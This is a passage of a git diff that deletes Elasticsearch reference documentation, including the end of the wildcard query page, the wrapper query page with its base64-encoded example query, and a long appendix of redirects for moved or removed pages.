-<<relevance-scores,relevance scores>> of a query. Defaults to `1.0`.
-+
-You can use the `boost` parameter to adjust relevance scores for searches
-containing two or more queries.
-+
-Boost values are relative to the default value of `1.0`. A boost value between
-`0` and `1.0` decreases the relevance score. A value greater than `1.0`
-increases the relevance score.
-
-`rewrite`::
-(Optional, string) Method used to rewrite the query. For valid values and more information, see the
-<<query-dsl-multi-term-rewrite, `rewrite` parameter>>.
-
-`case_insensitive`::
-(Optional, Boolean) allows case insensitive matching of the
-pattern with the indexed field values when set to true. Default is false which means
-the case sensitivity of matching depends on the underlying field's mapping.
-
-[[wildcard-query-notes]]
-==== Notes
-===== Allow expensive queries
-Wildcard queries will not be executed if <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>>
-is set to false.
diff --git a/docs/reference/query-dsl/wrapper-query.asciidoc b/docs/reference/query-dsl/wrapper-query.asciidoc
deleted file mode 100644
index b8b9626202e..00000000000
--- a/docs/reference/query-dsl/wrapper-query.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-[[query-dsl-wrapper-query]]
-=== Wrapper query
-++++
-<titleabbrev>Wrapper</titleabbrev>
-++++
-
-A query that accepts any other query as base64 encoded string.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "wrapper": {
-      "query": "eyJ0ZXJtIiA6IHsgInVzZXIuaWQiIDogImtpbWNoeSIgfX0=" <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> Base64 encoded string:  `{"term" : { "user.id" : "kimchy" }}`
-
-This query is more useful in the context of the Java high-level REST client or
-transport client to also accept queries as json formatted string.
-In these cases queries can be specified as a json or yaml formatted string or
-as a query builder (which is a available in the Java high-level REST client).
\ No newline at end of file
diff --git a/docs/reference/redirects.asciidoc b/docs/reference/redirects.asciidoc
deleted file mode 100644
index aa4dd7194e8..00000000000
--- a/docs/reference/redirects.asciidoc
+++ /dev/null
@@ -1,1325 +0,0 @@
-["appendix",role="exclude",id="redirects"]
-= Deleted pages
-
-The following pages have moved or been deleted.
-
-[role="exclude",id="node.name"]
-=== Node name setting
-
-See <<node-name,Node name setting>>.
-
-[role="exclude",id="cluster.name"]
-=== Cluster name setting
-
-See <<cluster-name,Cluster name setting>>.
-
-[role="exclude",id="heap-size"]
-=== Heap size settings
-
-See <<heap-size-settings>>.
-
-[role="exclude",id="ccr-remedy-follower-index"]
-=== Leader index retaining operations for replication
-
-See <<ccr-leader-requirements,Requirements for leader indices>>.
-
-[role="exclude",id="ccr-leader-not-replicating"]
-=== Remedying a follower that has fallen behind
-
-See <<ccr-recreate-follower-index,Recreating a follower index>>.
-
-[role="exclude",id="remote-reovery"]
-=== Remote recovery process
-
-See <<ccr-remote-recovery,Remote recovery process>>.
-
-[role="exclude",id="ccr-requirements"]
-=== Leader index requirements
-
-See <<ccr-leader-requirements,Requirements for leader indices>>.
-
-[role="exclude",id="ccr-overview"]
-=== Cross-cluster replication overview
-
-See <<xpack-ccr,Cross-cluster replication>>.
-
-[role="exclude",id="indices-upgrade"]
-=== Upgrade API
-
-The `_upgrade` API is no longer useful and will be removed.  Instead, see
-<<reindex-upgrade>>.
-
-[role="exclude",id="mapping-parent-field"]
-=== `_parent` field
-
-The `_parent` field has been removed in favour of the <<parent-join,`join` field>>.
-
-[role="exclude",id="indices-warmers"]
-=== Warmers
-
-Warmers have been removed. There have been significant improvements to the
-index that make warmers not necessary anymore.
-
-[role="exclude",id="xpack-commands"]
-=== X-Pack commands
-
-See <<commands>>.
-
-[role="exclude",id="xpack-api"]
-=== X-Pack APIs
-
-{es} {xpack} APIs are now documented in <<rest-apis, REST APIs>>.
-
-[role="exclude",id="ml-calendar-resource"]]
-=== Calendar resources
-
-See <<ml-get-calendar>> and
-{ml-docs}/ml-calendars.html[Calendars and scheduled events].
-
-[role="exclude",id="ml-filter-resource"]
-=== Filter resources
-
-See <<ml-get-filter>> and
-{ml-docs}/ml-rules.html[Machine learning custom rules].
-
-[role="exclude",id="ml-event-resource"]
-=== Scheduled event resources
-
-See <<ml-get-calendar-event>> and
-{ml-docs}/ml-calendars.html[Calendars and scheduled events].
-
-[role="exclude",id="index-apis"]
-=== Index APIs
-{es} index APIs are now documented in <<indices>>.
-
-[role="exclude",id="search-request-docvalue-fields"]
-=== Doc value fields parameter for request body search API
-See <<request-body-search-docvalue-fields>>.
-
-[role="exclude",id="search-request-explain"]
-=== Explain parameter for request body search API
-See <<request-body-search-explain>>.
-
-[role="exclude",id="search-request-collapse"]
-=== Collapse parameter for request body search API
-
-See <<collapse-search-results>>.
-
-[role="exclude",id="search-request-from-size"]
-=== From and size parameters for request body search API
-See <<paginate-search-results>>.
-
-[role="exclude",id="search-request-highlighting"]
-=== Highlight parameter for request body search API
-See <<highlighting>>.
-
-[role="exclude",id="search-request-index-boost"]
-=== Index boost parameter for request body search API
-See <<index-boost>>.
-
-[role="exclude",id="search-request-inner-hits"]
-=== Inner hits parameter for request body search API
-See <<inner-hits>>.
-
-[role="exclude",id="search-request-min-score"]
-=== Minimum score parameter for request body search API
-See <<search-api-min-score>>.
-
-[role="exclude",id="search-request-named-queries-and-filters"]
-=== Named query parameter for request body search API
-See <<named-queries>>.
-
-[role="exclude",id="search-request-post-filter"]
-=== Post filter parameter for request body search API
-See <<post-filter>>.
-
-[role="exclude",id="search-request-preference"]
-=== Preference parameter for request body search API
-See <<search-preference>>.
-
-[role="exclude",id="search-request-query"]
-=== Query parameter for request body search API
-See <<request-body-search-query>>.
-
-[role="exclude",id="search-request-rescore"]
-=== Rescoring parameter for request body search API
-See <<rescore>>.
-
-[role="exclude",id="search-request-script-fields"]
-=== Script fields parameter for request body search API
-See <<script-fields>>.
-
-[role="exclude",id="search-request-scroll"]
-=== Scroll parameter for request body search API
-See <<scroll-search-results>>.
-
-[role="exclude",id="search-request-search-after"]
-=== Search after parameter for request body search API
-See <<search-after>>.
-
-[role="exclude",id="search-request-search-type"]
-=== Search type parameter for request body search API
-See <<search-type>>.
-
-[role="exclude",id="search-request-seq-no-primary-term"]
-=== Sequence numbers and primary terms parameter for request body search API
-See <<optimistic-concurrency-control>>.
-
-[role="exclude",id="search-request-sort"]
-=== Sort parameter for request body search API
-See <<sort-search-results>>.
-
-[role="exclude",id="search-request-source-filtering"]
-=== Source filtering parameter for request body search API
-
-See <<source-filtering>>.
-
-[role="exclude",id="search-request-stored-fields"]
-=== Stored fields parameter for request body search API
-See <<stored-fields>>.
-
-[role="exclude",id="search-request-track-total-hits"]
-=== Track total hits parameter for request body search API
-See <<track-total-hits>>.
-
-[role="exclude",id="search-request-version"]
-=== Version parameter for request body search API
-See <<request-body-search-version>>.
-
-[role="exclude",id="search-suggesters-term"]
-=== Term suggester
-See <<term-suggester>>.
-
-[role="exclude",id="search-suggesters-phrase"]
-=== Phrase suggester
-See <<phrase-suggester>>.
-
-[role="exclude",id="search-suggesters-completion"]
-=== Completion suggester
-See <<completion-suggester>>.
-
-[role="exclude",id="suggester-context"]
-=== Context suggester
-See <<context-suggester>>.
-
-[role="exclude",id="returning-suggesters-type"]
-=== Return suggester type
-See <<return-suggesters-type>>.
-
-[role="exclude",id="search-profile-queries"]
-=== Profiling queries
-See <<profiling-queries>>.
-
-[role="exclude",id="search-profile-aggregations"]
-=== Profiling aggregations
-See <<profiling-aggregations>>.
-
-[role="exclude",id="search-profile-considerations"]
-=== Profiling considerations
-See <<profiling-considerations>>.
-
-[role="exclude",id="_explain_analyze"]
-=== Explain analyze API
-See <<explain-analyze-api>>.
-
-[role="exclude",id="indices-synced-flush"]
-=== Synced flush API
-See <<indices-synced-flush-api>>.
-
-[role="exclude",id="_repositories"]
-=== Snapshot repositories
-See <<snapshots-repositories>>.
-
-[role="exclude",id="_snapshot"]
-=== Snapshot
-See <<snapshots-take-snapshot>>.
-
-[role="exclude",id="getting-started-explore"]
-=== Exploring your cluster
-See <<cat>>.
-
-[role="exclude",id="getting-started-cluster-health"]
-=== Cluster health
-See <<cat-health>>.
-
-[role="exclude", id="getting-started-list-indices"]
-=== List all indices
-See <<cat-indices>>.
-
-[role="exclude", id="getting-started-create-index"]
-=== Create an index
-See <<indices-create-index>>.
-
-[role="exclude", id="getting-started-query-document"]
-=== Index and query a document
-See <<getting-started-index>>.
-
-[role="exclude", id="getting-started-delete-index"]
-=== Delete an index
-See <<indices-delete-index>>.
-
-[role="exclude", id="getting-started-modify-data"]
-== Modifying your data
-See <<docs-update>>.
-
-[role="exclude", id="indexing-replacing-documents"]
-=== Indexing/replacing documents
-See <<docs-index_>>.
-
-[role="exclude", id="getting-started-explore-data"]
-=== Exploring your data
-See <<getting-started-search>>.
-
-[role="exclude", id="getting-started-search-API"]
-=== Search API
-See <<getting-started-search>>.
-
-[role="exclude", id="getting-started-conclusion"]
-=== Conclusion
-See <<getting-started-next-steps>>.
-
-[role="exclude",id="ccs-reduction"]
-=== {ccs-cap} reduction
-See <<ccs-works>>.
-
-[role="exclude",id="administer-elasticsearch"]
-=== Administering {es}
-See <<high-availability>>.
-
-[role="exclude",id="slm-api"]
-=== Snapshot lifecycle management API
-See <<snapshot-lifecycle-management-api>>.
-
-[role="exclude",id="delete-data-frame-transform"]
-===  Delete {transforms} API
-
-See <<delete-transform>>.
-
-[role="exclude",id="get-data-frame-transform-stats"]
-=== Get {transform} statistics API
-
-See <<get-transform-stats>>.
-
-[role="exclude",id="get-data-frame-transform"]
-=== Get {transforms} API
-
-See <<get-transform>>.
-
-[role="exclude",id="preview-data-frame-transform"]
-=== Preview {transforms} API
-
-See <<preview-transform>>.
-
-[role="exclude",id="put-data-frame-transform"]
-===  Create {transforms} API
-
-See <<put-transform>>.
-
-[role="exclude",id="start-data-frame-transform"]
-=== Start {transforms} API
-
-See <<start-transform>>.
-
-[role="exclude",id="stop-data-frame-transform"]
-=== Stop {transforms} API
-
-See <<stop-transform>>.
-
-[role="exclude",id="update-data-frame-transform"]
-=== Update {transforms} API
-
-See <<update-transform>>.
-
-[role="exclude",id="data-frame-apis"]
-=== {transform-cap} APIs
-
-See <<transform-apis>>.
-
-[role="exclude",id="data-frame-transform-resource"]
-=== {transform-cap} resources
-
-See <<transform-resource>>.
-
-[role="exclude",id="data-frame-transform-dest"]
-=== Dest objects
-
-See <<transform-resource>>.
-
-[role="exclude",id="data-frame-transform-source"]
-==== Source objects
-
-See <<transform-resource>>.
-
-[role="exclude",id="data-frame-transform-pivot"]
-==== Pivot objects
-
-See <<transform-resource>>.
-
-[role="exclude",id="configuring-monitoring"]
-=== Configuring monitoring
-
-See <<monitoring-overview>>.
-
-[role="exclude",id="es-monitoring"]
-=== Monitoring {es}
-
-See <<monitor-elasticsearch-cluster>>.
-
-[role="exclude",id="docker-cli-run"]
-=== Docker Run
-
-See <<docker-cli-run-dev-mode>>.
-
-[role="exclude",id="auditing"]
-=== Audit logging
-
-See <<enable-audit-logging>>.
-
-[role="exclude",id="analysis-compound-word-tokenfilter"]
-=== Compound word token filters
-
-See <<analysis-dict-decomp-tokenfilter>> and
-<<analysis-hyp-decomp-tokenfilter>>.
-
-[role="exclude",id="configuring-native-realm"]
-=== Configuring a native realm
-
-See <<native-realm-configuration>>.
-
-[role="exclude",id="native-settings"]
-==== Native realm settings
-
-See <<ref-native-settings>>.
-
-[role="exclude",id="configuring-saml-realm"]
-=== Configuring a SAML realm
-
-See <<saml-guide>>.
-
-[role="exclude",id="saml-settings"]
-==== SAML realm settings
-
-See <<ref-saml-settings>>.
-
-[role="exclude",id="_saml_realm_signing_settings"]
-==== SAML realm signing settings
-
-See <<ref-saml-signing-settings>>.
-
-[role="exclude",id="_saml_realm_encryption_settings"]
-==== SAML realm encryption settings
-
-See <<ref-saml-encryption-settings>>.
-
-[role="exclude",id="_saml_realm_ssl_settings"]
-==== SAML realm SSL settings
-
-See <<ref-saml-ssl-settings>>.
-
-[role="exclude",id="configuring-file-realm"]
-=== Configuring a file realm
-
-See <<file-realm-configuration>>.
-
-[role="exclude",id="ldap-user-search"]
-=== User search mode and user DN templates mode
-
-See <<ldap-realm-configuration>>.
-
-[role="exclude",id="configuring-ldap-realm"]
-=== Configuring an LDAP realm
-
-See <<ldap-realm-configuration>>.
-
-[role="exclude",id="ldap-settings"]
-=== LDAP realm settings
-
-See <<ref-ldap-settings>>.
-
-[role="exclude",id="ldap-ssl"]
-=== Setting up SSL between Elasticsearch and LDAP
-
-See <<tls-ldap>>.
-
-[role="exclude",id="configuring-kerberos-realm"]
-=== Configuring a Kerberos realm
-
-See <<kerberos-realm-configuration>>.
-
-[role="exclude",id="beats"]
-=== Beats and Security
-
-See:
-
-* {auditbeat-ref}/securing-auditbeat.html[{auditbeat}]
-* {filebeat-ref}/securing-filebeat.html[{filebeat}]
-* {heartbeat-ref}/securing-heartbeat.html[{heartbeat}]
-* {metricbeat-ref}/securing-metricbeat.html[{metricbeat}]
-* {packetbeat-ref}/securing-packetbeat.html[{packetbeat}]
-* {winlogbeat-ref}/securing-winlogbeat.html[{winlogbeat}]
-
-[role="exclude",id="configuring-pki-realm"]
-=== Configuring a PKI realm
-
-See <<pki-realm>>.
-
-[role="exclude",id="pki-settings"]
-==== PKI realm settings
-
-See <<ref-pki-settings>>.
-
-[role="exclude",id="configuring-ad-realm"]
-=== Configuring an Active Directory realm
-
-See <<ad-realm-configuration>>.
-
-[role="exclude",id="ad-settings"]
-=== Active Directory realm settings
-
-See <<ref-ad-settings>>.
-
-[role="exclude",id="mapping-roles-ad"]
-=== Mapping Active Directory users and groups to roles
-
-See <<ad-realm-configuration>>.
-
-[role="exclude",id="how-security-works"]
-=== How security works
-
-See <<elasticsearch-security>>.
-
-[role="exclude",id="rollup-job-config"]
-=== Rollup job configuration
-
-See <<rollup-put-job-api-request-body>>.
-
-[role="exclude",id="transform-resource"]
-=== {transform-cap} resources
-
-This page was deleted.
-See <<put-transform>>, <<preview-transform>>, <<update-transform>>,
-<<get-transform>>.
-
-[role="exclude",id="ml-job-resource"]
-=== Job resources
-
-This page was deleted.
-[[ml-analysisconfig]]
-See the details in
-[[ml-apimodelplotconfig]]
-<<ml-put-job>>, <<ml-update-job>>, and <<ml-get-job>>.
-
-[role="exclude",id="ml-datafeed-resource"]
-=== {dfeed-cap} resources
-
-This page was deleted.
-[[ml-datafeed-chunking-config]]
-See the details in <<ml-put-datafeed>>, <<ml-update-datafeed>>,
-[[ml-datafeed-delayed-data-check-config]]
-<<ml-get-datafeed>>,
-[[ml-datafeed-counts]]
-<<ml-get-datafeed-stats>>.
-
-[role="exclude",id="ml-jobstats"]
-=== Job statistics
-
-This
-[[ml-datacounts]]
-page
-[[ml-modelsizestats]]
-was
-[[ml-forecastsstats]]
-deleted.
-[[ml-timingstats]]
-See
-[[ml-stats-node]]
-the details in <<ml-get-job-stats>>.
-
-[role="exclude",id="ml-snapshot-resource"]
-=== Model snapshot resources
-
-This page was deleted.
-[[ml-snapshot-stats]]
-See <<ml-update-snapshot>> and <<ml-get-snapshot>>.
-
-[role="exclude",id="ml-dfanalytics-resources"]
-=== {dfanalytics-cap} job resources
-
-This page was deleted.
-See <<put-dfanalytics>>.
-
-[role="exclude",id="ml-dfa-analysis-objects"]
-=== Analysis configuration objects
-
-This page was deleted.
-See <<put-dfanalytics>>.
-
-[role="exclude",id="put-inference"]
-=== Create trained model API
-
-See <<put-trained-models>>.
-
-[role="exclude",id="get-inference-stats"]
-=== Get trained model statistics API
-
-See <<get-trained-models-stats>>.
-
-[role="exclude",id="get-inference"]
-=== Get trained model API
-
-See <<get-trained-models>>.
-
-[role="exclude",id="delete-inference"]
-=== Delete trained model API
-
-See <<delete-trained-models>>.
-
-[role="exclude",id="data-frames-settings"]
-=== {transforms-cap}  settings in Elasticsearch
-
-See <<transform-settings>>.
-
-[role="exclude",id="general-data-frames-settings"]
-==== General {transforms} settings
-
-See <<general-transform-settings>>.
-
-[role="exclude",id="ml-results-resource"]
-=== Results resources
-
-This page was deleted.
-[[ml-results-buckets]]
-See <<ml-get-bucket>>,
-[[ml-results-bucket-influencers]]
-<<ml-get-bucket>>,
-[[ml-results-influencers]]
-<<ml-get-influencer>>,
-[[ml-results-records]]
-<<ml-get-record>>,
-[[ml-results-categories]]
-<<ml-get-category>>, and
-[[ml-results-overall-buckets]]
-<<ml-get-overall-buckets>>.
-
-[role="exclude",id="modules-snapshots"]
-=== Snapshot module
-
-See <<snapshot-restore>>.
-
-[role="exclude",id="_repository_plugins"]
-==== Repository plugins
-
-See <<snapshots-repository-plugins>>.
-
-[role="exclude",id="_changing_index_settings_during_restore"]
-==== Change index settings during restore
-
-See <<change-index-settings-during-restore>>.
-
-[role="exclude",id="restore-snapshot"]
-=== Restore snapshot
-
-See <<snapshots-restore-snapshot>>.
-
-[role="exclude",id="snapshots-repositories"]
-=== Snapshot repositories
-
-See <<snapshots-register-repository>>.
-
-[role="exclude",id="slm-api-delete"]
-=== {slm-init} delete policy API
-
-See <<slm-api-delete-policy>>.
-
-[role="exclude",id="slm-api-execute"]
-=== {slm-init} execute lifecycle API
-
-See <<slm-api-execute-lifecycle>>.
-
-[role="exclude",id="slm-api-execute-policy"]
-=== {slm-init} execute lifecycle API
-
-See <<slm-api-execute-lifecycle>>.
-
-[role="exclude",id="slm-api-get"]
-=== {slm-init} get policy API
-
-See <<slm-api-get-policy>>.
-
-[role="exclude",id="slm-get-stats"]
-=== {slm-init} get stats API
-
-See <<slm-api-get-stats>>.
-
-[role="exclude",id="slm-get-status"]
-=== {slm-init} status API
-
-See <<slm-api-get-status>>.
-
-[role="exclude",id="slm-api-put"]
-=== {slm-init} put policy API
-
-See <<slm-api-put-policy>>.
-
-[role="exclude",id="slm-start"]
-=== Start {slm} API
-
-See <<slm-api-start>>.
-
-[role="exclude",id="slm-stop"]
-=== Stop {slm} API
-
-See <<slm-api-stop>>.
-
-[role="exclude",id="ccs-works"]
-=== How {ccs} works
-
-See <<ccs-gateway-seed-nodes>> and <<ccs-min-roundtrips>>.
-
-[role="exclude",id="modules-indices"]
-=== Indices module
-
-See:
-
-* <<circuit-breaker>>
-* <<indexing-buffer>>
-* <<modules-fielddata>>
-* <<query-cache>>
-* <<recovery>>
-* <<search-settings>>
-* <<shard-request-cache>>
-
-[role="exclude",id="cat-transform"]
-=== cat transform API
-
-See <<cat-transforms>>.
-
-[role="exclude",id="testing"]
-=== Testing
-
-This page was deleted.
-Information about the Java testing framework was removed
-({es-issue}55257[#55257]) from the {es} Reference
-because it was out of date and erroneously implied that it should be used by application developers.
-There is an issue ({es-issue}55258[#55258])
-for providing general testing guidance for applications that communicate with {es}.
-
-[role="exclude",id="testing-framework"]
-=== Java testing framework
-
-This page was deleted.
-Information about the Java testing framework was removed
-({es-issue}55257[55257]) from the {es} Reference because it was out of date and
-erroneously implied that it should be used by application developers.
-
-There is an issue ({es-issue}55258[#55258]) for providing general testing
-guidance for applications that communicate with {es}.
-
-
-[role="exclude",id="why-randomized-testing"]
-=== Why randomized testing?
-
-This page was deleted.
-Information about the Java testing framework was removed
-({es-issue}55257[55257]) from the {es} Reference
-because it was out of date and erroneously implied that it should be used by application developers.
-There is an issue ({es-issue}[#55258])
-for providing general testing guidance for applications that communicate with {es}.
-
-
-[role="exclude",id="using-elasticsearch-test-classes"]
-=== Using the {es} test classes
-
-This page was deleted.
-Information about the Java testing framework was removed
-({es-issue}55257[55257]) from the {es} Reference
-because it was out of date and erroneously implied that it should be used by application developers.
-There is an issue ({es-issue}55258[#55258])
-for providing general testing guidance for applications that communicate with {es}.
-
-
-[role="exclude",id="unit-tests"]
-=== Unit tests
-
-This page was deleted.
-Information about the Java testing framework was removed
-({es-issue}55257[55257]) from the {es} Reference
-because it was out of date and erroneously implied that it should be used by application developers.
-There is an issue ({es-issue}55258[#55258])
-for providing general testing guidance for applications that communicate with {es}.
-
-
-[role="exclude",id="integration-tests"]
-=== Integration tests
-
-This page was deleted.
-Information about the Java testing framework was removed
-({es-issue}55257[55257]) from the {es} Reference
-because it was out of date and erroneously implied that it should be used by application developers.
-There is an issue ({es-issue}55258[#55258])
-for providing general testing guidance for applications that communicate with {es}.
-
-
-[role="exclude",id="number-of-shards"]
-==== Number of shards
-
-This section was deleted.
-
-[role="exclude",id="helper-methods"]
-==== Generic helper methods
-
-This section was deleted.
-
-[role="exclude",id="test-cluster-methods"]
-==== Test cluster methods
-
-This section was deleted.
-
-[role="exclude",id="changing-node-settings"]
-==== Changing node settings
-
-This section was deleted.
-
-[role="exclude",id="accessing-clients"]
-==== Accessing clients
-
-This section was deleted.
-
-[role="exclude",id="scoping"]
-==== Scoping
-
-This section was deleted.
-
-[role="exclude",id="changing-node-configuration"]
-==== Changing plugins via configuration
-
-This section was deleted.
-
-[role="exclude",id="randomized-testing"]
-=== Randomized testing
-
-This page was deleted.
-
-[role="exclude",id="generating-random-data"]
-==== Generating random data
-
-This section was deleted.
-
-[role="exclude",id="assertions"]
-=== Assertions
-
-This page was deleted.
-
-[role="exclude",id="_actions"]
-=== {ilm-init} actions
-
-See <<ilm-actions>>.
-
-[role="exclude",id="ilm-allocate-action"]
-==== Allocate action
-
-See <<ilm-allocate>>.
-
-[role="exclude",id="ilm-delete-action"]
-==== Delete action
-
-See <<ilm-delete>>.
-
-[role="exclude",id="ilm-forcemerge-action"]
-==== Force merge action
-
-See <<ilm-forcemerge>>.
-
-[role="exclude",id="ilm-freeze-action"]
-==== Freeze action
-
-See <<ilm-freeze>>.
-
-[role="exclude",id="ilm-migrate-action"]
-==== Migrate action
-
-See <<ilm-migrate>>.
-
-[role="exclude",id="ilm-readonly-action"]
-==== Read only action
-
-See <<ilm-readonly>>.
-
-[role="exclude",id="ilm-rollover-action"]
-==== Rollover action
-
-See <<ilm-rollover>>.
-
-[role="exclude",id="ilm-searchable-snapshot-action"]
-==== Searchable snapshot action
-
-See <<ilm-searchable-snapshot>>.
-
-[role="exclude",id="ilm-set-priority-action"]
-==== Set priority action
-
-See <<ilm-set-priority>>.
-
-[role="exclude",id="ilm-shrink-action"]
-==== Shrink action
-
-See <<ilm-shrink>>.
-
-[role="exclude",id="ilm-unfollow-action"]
-==== Unfollow action
-
-See <<ilm-unfollow>>.
-
-[role="exclude",id="ilm-wait-for-snapshot-action"]
-==== Wait for snapshot action
-
-See <<ilm-wait-for-snapshot>>.
-
-[role="exclude",id="ilm-policy-definition"]
-=== {ilm-init} policy definition
-
-See <<ilm-index-lifecycle>>.
-
-[role="exclude",id="search-uri-request"]
-=== URI search
-
-See <<search-search>>.
-
-[role="exclude",id="modules-gateway-dangling-indices"]
-=== Dangling indices
-
-See <<dangling-indices>>.
-
-[role="exclude",id="shards-allocation"]
-=== Cluster-level shard allocation
-
-See <<cluster-shard-allocation-settings>>.
-
-[role="exclude",id="disk-allocator"]
-=== Disk-based shard allocation
-
-See <<disk-based-shard-allocation>>.
-
-[role="exclude",id="allocation-awareness"]
-=== Shard allocation awareness
-
-See <<shard-allocation-awareness>>.
-
-[role="exclude",id="allocation-filtering"]
-=== Cluster-level shard allocation filtering
-
-See <<cluster-shard-allocation-filtering>>.
-
-[role="exclude",id="misc-cluster"]
-=== Miscellaneous cluster settings
-
-See <<misc-cluster-settings>>.
-
-[role="exclude",id="modules"]
-=== Modules
-
-This page has been removed.
-
-See <<settings,Configuring Elasticsearch>> for settings information:
-
-* <<circuit-breaker>>
-* <<modules-cluster>>
-* <<modules-discovery-settings>>
-* <<modules-fielddata>>
-* <<modules-http>>
-* <<recovery>>
-* <<indexing-buffer>>
-* <<modules-gateway>>
-* <<modules-network>>
-* <<query-cache>>
-* <<search-settings>>
-* <<shard-request-cache>>
-
-For other information, see:
-
-* <<modules-transport>>
-* <<modules-threadpool>>
-* <<modules-node>>
-* <<modules-plugins>>
-* <<modules-remote-clusters>>
-
-[role="exclude",id="modules-discovery-adding-removing-nodes"]
-=== Adding and removing nodes
-
-See <<add-elasticsearch-nodes>>.
-
-[role="exclude",id="_timing"]
-=== Timing
-
-See <<ilm-phase-transitions>>.
-
-[role="exclude",id="_installation"]
-=== Installation
-
-See <<install-elasticsearch>>.
-
-[role="exclude",id="mapping-ttl-field"]
-=== `_ttl` mappings
-
-The `_ttl` mappings have been removed. As a replacement for `_ttl`
-mappings, we recommend using <<index-lifecycle-management,{ilm-init}>> to create
-time-based indices.
-
-[role="exclude",id="setup-service"]
-=== Running as a service on Linux
-
-See <<starting-elasticsearch>>.
-
-[role="exclude",id="modules-scripting-painless-syntax"]
-=== Painless syntax
-
-See {painless}/painless-lang-spec.html[Painless language specification].
-
-[role="exclude",id="using-policies-rollover"]
-=== Using policies to manage index rollover
-
-See <<getting-started-index-lifecycle-management>>.
-
-[role="exclude",id="_applying_a_policy_to_our_index"]
-=== Applying a policy to our index
-
-See <<ilm-gs-apply-policy>>.
-
-[role="exclude",id="setup-dir-layout"]
-=== Directory layout
-
-See <<settings>>.
-
-[role="exclude",id="scan-scroll"]
-=== Scan and scroll
-
-See <<scroll-search-results>>.
-
-[role="exclude",id="mapping-dynamic-mapping"]
-=== Dynamic mapping
-
-See <<dynamic-mapping>>.
-
-[role="exclude",id="applying-policy-to-template"]
-=== Applying a policy to an index template
-
-See <<ilm-gs-apply-policy>>.
-
-[role="exclude",id="indices-status"]
-=== Index status API
-
-The  index `_status` API has been replaced with the <<indices-stats,index
-stats>> and <<indices-recovery,index recovery>> APIs.
-
-[role="exclude",id="search-facets"]
-=== Search facets
-
-See <<search-aggregations>>.
-
-[role="exclude",id="_executing_searches"]
-=== Executing searches
-
-See <<getting-started-search>>.
-
-[role="exclude",id="mapping-root-object-type"]
-=== Mapping root object type
-
-Mapping types have been removed. See <<mapping>>.
-
-[role="exclude",id="query-dsl-filters"]
-=== Query DSL filters
-
-See <<query-filter-context>>.
-
-[role="exclude",id="esms"]
-=== {esms}
-
-We have stopped adding new customers to our {esms}.
-
-If you are interested in similar capabilities, contact
-https://support.elastic.co[Elastic Support] to discuss available options.
-
-[role="exclude",id="ilm-with-existing-periodic-indices"]
-=== Manage existing periodic indices with {ilm-init}
-
-See <<ilm-existing-indices-apply>>.
-
-[role="exclude",id="ilm-reindexing-into-rollover"]
-=== Reindexing via {ilm-init}
-
-See <<ilm-existing-indices-reindex>>.
-
-[role="exclude",id="analysis-pathhierarchy-tokenizer-examples"]
-=== Path hierarchy tokenizer examples
-
-See <<analysis-pathhierarchy-tokenizer-detailed-examples>>.
-
-[role="exclude",id="modules-tribe"]
-=== Tribe node
-
-Tribe node functionality has been removed in favor of {ccs}. See
-<<modules-cross-cluster-search>>.
-
-[role="exclude",id="release-highlights-7.0.0"]
-=== Release highlights
-
-See <<release-highlights>>.
-
-[role="exclude",id="sql-settings"]
-=== SQL access settings in Elasticsearch
-
-The `xpack.sql.enabled` setting has been deprecated. SQL access is always enabled.
-
-[role="exclude",id="indices-templates"]
-=== Index templates [[getting]]
-
-See <<index-templates>>.
-
-[role="exclude",id="indices-template-exists"]
-=== Index template exists (legacy)
-
-See <<indices-template-exists-v1>>.
-
-[role="exclude",id="run-a-search"]
-=== Run a search
-
-See <<run-an-es-search>>.
-
-[role="exclude",id="how-highlighters-work-internally"]
-=== How highlighters work internally
-
-See <<how-es-highlighters-work-internally>>.
-
-[role="exclude",id="eql-search"]
-=== Run an EQL search
-
-See <<run-an-eql-search>>.
-
-[role="exclude",id="eql-limitations"]
-=== EQL limitations
-
-See <<eql-syntax-limitations>>.
-
-[role="exclude",id="eql-requirements"]
-=== EQL requirements
-
-See <<eql-required-fields>>.
-
-[role="exclude",id="search-request-body"]
-=== Request body search
-
-This page has been removed.
-
-For search API reference documentation, see <<search-search>>.
-
-For search examples, see <<search-your-data>>.
-
-[role="exclude",id="request-body-search-docvalue-fields"]
-==== Doc value fields
-
-See <<docvalue-fields, doc value fields>>.
-
-[role="exclude",id="_fast_check_for_any_matching_docs"]
-==== Fast check for any matching docs
-
-See <<quickly-check-for-matching-docs>>.
-
-[role="exclude",id="request-body-search-collapse"]
-==== Field collapsing
-
-See <<collapse-search-results>>.
-
-[role="exclude",id="request-body-search-from-size"]
-==== From / size
-
-See <<paginate-search-results>>.
-
-[role="exclude",id="request-body-search-highlighting"]
-==== Highlighting
-
-See <<highlighting>>.
-
-[role="exclude",id="highlighter-internal-work"]
-==== How highlighters work internally
-
-See <<how-es-highlighters-work-internally>>.
-
-[role="exclude",id="request-body-search-index-boost"]
-==== Index boost
-See <<index-boost>>.
-
-[role="exclude",id="request-body-search-inner-hits"]
-==== Inner hits
-See <<inner-hits>>.
-
-[role="exclude",id="request-body-search-min-score"]
-==== `min_score`
-
-See the <<search-api-min-score,`min_score`>> parameter.
-
-[role="exclude",id="request-body-search-queries-and-filters"]
-==== Named queries
-
-See <<named-queries>>.
-
-[role="exclude",id="request-body-search-post-filter"]
-==== Post filter
-
-See <<post-filter>>.
-
-[role="exclude",id="request-body-search-preference"]
-==== Preference
-
-See <<search-preference>>.
-
-[role="exclude",id="request-body-search-rescore"]
-==== Rescoring
-
-See <<rescore>>.
-
-[role="exclude",id="request-body-search-script-fields"]
-==== Script fields
-
-See <<script-fields>>.
-
-[role="exclude",id="request-body-search-scroll"]
-==== Scroll
-
-See <<scroll-search-results>>.
-
-[[_clear_scroll_api]]
-==== Clear scroll API
-
-See <<clear-scroll-api>>.
-
-[[sliced-scroll]]
-==== Sliced scroll
-
-See <<slice-scroll>>.
-
-[role="exclude",id="request-body-search-search-after"]
-==== Search after
-
-See <<search-after>>.
-
-[role="exclude",id="request-body-search-search-type"]
-==== Search type
-
-See <<search-type>>.
-
-[role="exclude",id="request-body-search-sort"]
-==== Sort
-
-See <<sort-search-results>>.
-
-[role="exclude",id="request-body-search-source-filtering"]
-==== Source filtering
-
-See <<source-filtering>>.
-
-[role="exclude",id="request-body-search-stored-fields"]
-==== Stored fields
-
-See <<stored-fields>>.
-
